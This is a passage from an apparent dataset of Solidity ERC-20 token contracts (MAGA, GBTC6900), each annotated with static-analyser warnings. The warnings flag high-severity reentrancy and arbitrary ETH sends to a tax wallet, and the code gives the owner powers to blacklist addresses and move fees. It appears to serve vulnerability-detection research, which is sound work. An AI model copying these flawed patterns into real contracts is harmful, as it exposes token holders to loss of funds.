fba9ebe: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 659129d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 659129d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 23be37e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 23be37e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 659129d\n\t\t// reentrancy-benign | ID: 23be37e\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 659129d\n\t\t// reentrancy-benign | ID: 23be37e\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 37b64ef): MAGA._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 37b64ef: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 23be37e\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 659129d\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 5f53684): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 5f53684: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: daa4a26): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for daa4a26: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 5f53684\n\t\t\t\t// reentrancy-eth | ID: daa4a26\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 5f53684\n\t\t\t\t\t// reentrancy-eth | ID: daa4a26\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: daa4a26\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: daa4a26\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: daa4a26\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 5f53684\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: daa4a26\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: daa4a26\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 5f53684\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 659129d\n\t\t// reentrancy-events | ID: 5f53684\n\t\t// reentrancy-benign | ID: 23be37e\n\t\t// reentrancy-eth | ID: daa4a26\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 932a6f6): MAGA.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 932a6f6: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 659129d\n\t\t// reentrancy-events | ID: 5f53684\n\t\t// reentrancy-eth | ID: daa4a26\n\t\t// arbitrary-send-eth | ID: 932a6f6\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: bd24f42): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for bd24f42: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 0040025): MAGA.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 0040025: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 81996c4): MAGA.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 81996c4: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 17b8276): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 17b8276: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: bd24f42\n\t\t// reentrancy-eth | ID: 17b8276\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: bd24f42\n\t\t// unused-return | ID: 0040025\n\t\t// reentrancy-eth | ID: 17b8276\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: bd24f42\n\t\t// unused-return | ID: 81996c4\n\t\t// reentrancy-eth | ID: 17b8276\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: bd24f42\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 17b8276\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10559.sol",
"size_bytes": 19469,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 0071082): GBTC6900.slitherConstructorVariables() performs a multiplication on the result of a division _taxSwapThreshold = 1 * (_tTotal / 1000)\n// Recommendation for 0071082: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: bb89b79): GBTC6900.slitherConstructorVariables() performs a multiplication on the result of a division _maxWalletSize = 2 * (_tTotal / 100)\n// Recommendation for bb89b79: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: b4c4748): GBTC6900.slitherConstructorVariables() performs a multiplication on the result of a division _maxTaxSwap = 2 * (_tTotal / 100)\n// Recommendation for b4c4748: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: f31830b): GBTC6900.slitherConstructorVariables() performs a multiplication on the result of a division _maxTxAmount = 2 * (_tTotal / 100)\n// Recommendation for f31830b: Consider ordering multiplication before division.\ncontract GBTC6900 is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 13be290): GBTC6900._taxWallet should be immutable \n\t// Recommendation for 13be290: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: c33534d): GBTC6900._initialBuyTax should be constant \n\t// Recommendation for c33534d: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: b5539c1): GBTC6900._initialSellTax should be constant \n\t// Recommendation for b5539c1: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3a3d0b5): GBTC6900._finalBuyTax should be constant \n\t// Recommendation for 3a3d0b5: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1c07779): GBTC6900._finalSellTax should be constant \n\t// Recommendation for 1c07779: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: bacefcf): GBTC6900._reduceBuyTaxAt should be constant \n\t// Recommendation for bacefcf: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: ca962fd): GBTC6900._reduceSellTaxAt should be constant \n\t// Recommendation for ca962fd: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: fc3f250): GBTC6900._preventSwapBefore should be constant \n\t// Recommendation for fc3f250: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"GBTC\";\n\n string private constant _symbol = unicode\"GBTC6900\";\n\n\t// divide-before-multiply | ID: f31830b\n uint256 public _maxTxAmount = 2 * (_tTotal / 100);\n\n\t// divide-before-multiply | ID: bb89b79\n uint256 public _maxWalletSize = 2 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: c81e07d): GBTC6900._taxSwapThreshold should be constant \n\t// Recommendation for c81e07d: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 0071082\n uint256 public _taxSwapThreshold = 1 * (_tTotal / 1000);\n\n\t// WARNING Optimization Issue (constable-states | ID: f06c3c6): GBTC6900._maxTaxSwap should be constant \n\t// Recommendation for f06c3c6: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: b4c4748\n uint256 public _maxTaxSwap = 2 * (_tTotal / 100);\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[address(this)] = _tTotal.mul(80).div(100);\n\n _balances[_msgSender()] = _tTotal.mul(20).div(100);\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), address(this), _tTotal.mul(80).div(100));\n\n emit Transfer(address(0), _msgSender(), _tTotal.mul(20).div(100));\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3eea136): GBTC6900.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 3eea136: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f264f58): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f264f58: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 37b6ba8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 37b6ba8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: f264f58\n\t\t// reentrancy-benign | ID: 37b6ba8\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: f264f58\n\t\t// reentrancy-benign | ID: 37b6ba8\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b5c49b4): GBTC6900._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for b5c49b4: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 37b6ba8\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: f264f58\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8a6bdf3): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 8a6bdf3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b5086b3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b5086b3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 8a6bdf3\n\t\t\t\t// reentrancy-eth | ID: b5086b3\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 8a6bdf3\n\t\t\t\t\t// reentrancy-eth | ID: b5086b3\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: b5086b3\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: b5086b3\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: b5086b3\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 8a6bdf3\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: b5086b3\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: b5086b3\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 8a6bdf3\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: f264f58\n\t\t// reentrancy-events | ID: 8a6bdf3\n\t\t// reentrancy-benign | ID: 37b6ba8\n\t\t// reentrancy-eth | ID: b5086b3\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 4cd52a4): GBTC6900.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 4cd52a4: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: f264f58\n\t\t// reentrancy-events | ID: 8a6bdf3\n\t\t// reentrancy-eth | ID: b5086b3\n\t\t// arbitrary-send-eth | ID: 4cd52a4\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) private onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = false;\n }\n }\n\n function delBots(address[] memory notbot) private onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ece81c7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ece81c7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: a86ecc0): GBTC6900.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for a86ecc0: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 5f51ab9): GBTC6900.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 5f51ab9: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 3067374): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 3067374: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: ece81c7\n\t\t// reentrancy-eth | ID: 3067374\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: ece81c7\n\t\t// unused-return | ID: a86ecc0\n\t\t// reentrancy-eth | ID: 3067374\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: ece81c7\n\t\t// unused-return | ID: 5f51ab9\n\t\t// reentrancy-eth | ID: 3067374\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: ece81c7\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 3067374\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_1056.sol",
"size_bytes": 22030,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 